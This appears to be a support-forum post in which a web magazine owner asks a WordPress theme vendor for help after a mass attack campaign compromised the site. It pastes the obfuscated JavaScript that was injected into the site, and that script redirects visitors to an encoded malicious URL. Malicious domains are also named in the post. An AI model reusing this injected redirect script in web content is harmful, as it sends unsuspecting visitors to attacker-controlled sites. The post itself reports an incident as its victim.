URGENT: website attacked and exploited

Dear tagDiv Staff,

our web magazine [m a d m a s s . i t] was attacked and exploited as explained in these articles:

https://www.wordfence.com/blog/2021/12/massive-wordpress-attack-campaign/
https://thehackernews.com/2021/12/16-million-wordpress-sites-under.html

The entire websited redirected to malicious links like

clearyfastexam best
right trainresistor cc

ERROR MESSAGE
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window.stop(); function _0x4165(_0x1c7833,_0x312763){var _0x384719=_0x3847();return _0x4165=function(_0x4165ff,_0x4cb21c){_0x4165ff=_0x4165ff-0x185;var _0x3edf04=_0x384719[_0x4165ff];return _0x3edf04;},_0x4165(_0x1c7833,_0x312763);}var _0x2ca8a2=_0x4165;(function(_0x538cc7,_0x2ae31a){var _0x173fc3=_0x4165,_0x5b6817=_0x538cc7();while(!![]){try{var _0x1b9268=parseInt(_0x173fc3(0x18e))/0x1+parseInt(_0x173fc3(0x191))/0x2*(parseInt(_0x173fc3(0x18d))/0x3)+parseInt(_0x173fc3(0x18f))/0x4+-parseInt(_0x173fc3(0x189))/0x5*(-parseInt(_0x173fc3(0x18c))/0x6)+-parseInt(_0x173fc3(0x186))/0x7+-parseInt(_0x173fc3(0x187))/0x8*(parseInt(_0x173fc3(0x18a))/0x9)+parseInt(_0x173fc3(0x18b))/0xa;if(_0x1b9268===_0x2ae31a)break;else _0x5b6817[‘push’](_0x5b6817[‘shift’]());}catch(_0x1fc706){_0x5b6817[‘push’](_0x5b6817[‘shift’]());}}}(_0x3847,0xe77a1));var ll=_0x2ca8a2(0x190);document[_0x2ca8a2(0x188)][_0x2ca8a2(0x185)]=ll,window[_0x2ca8a2(0x188)][_0x2ca8a2(0x192)](ll);function _0x3847(){var _0x786271=[‘688400bYXEDO’,’replace’,’href’,’5956636QUrnAb’,’47696JxEbld’,’location’,’296330XygErO’,’2358VtSkab’,’19357140uMcgeD’,’18tMFlRH’,’3cAvVrX’,’231172tCDMyi’,’2688948VEEIEX’,String.fromCharCode(104,116,116,112,115,58,47,47,116,114,105,99,107,46,116,114,97,105,110,114,101,115,105,115,116,111,114,46,99,99,47,97,46,112,104,112,63,115,105,100,61,49,49,49,49,49,49,38,117,116,109,95,115,111,117,114,99,101,61,55,53,52,56,52,53)];_0x3847=function(){return _0x786271;};return _0x3847();}
—————————————

How can we solve this terrible issue? Is it related to theme as stated in Wordfence article? Any suggestion?
Waiting your courteous reply,
Best Regards,
Marco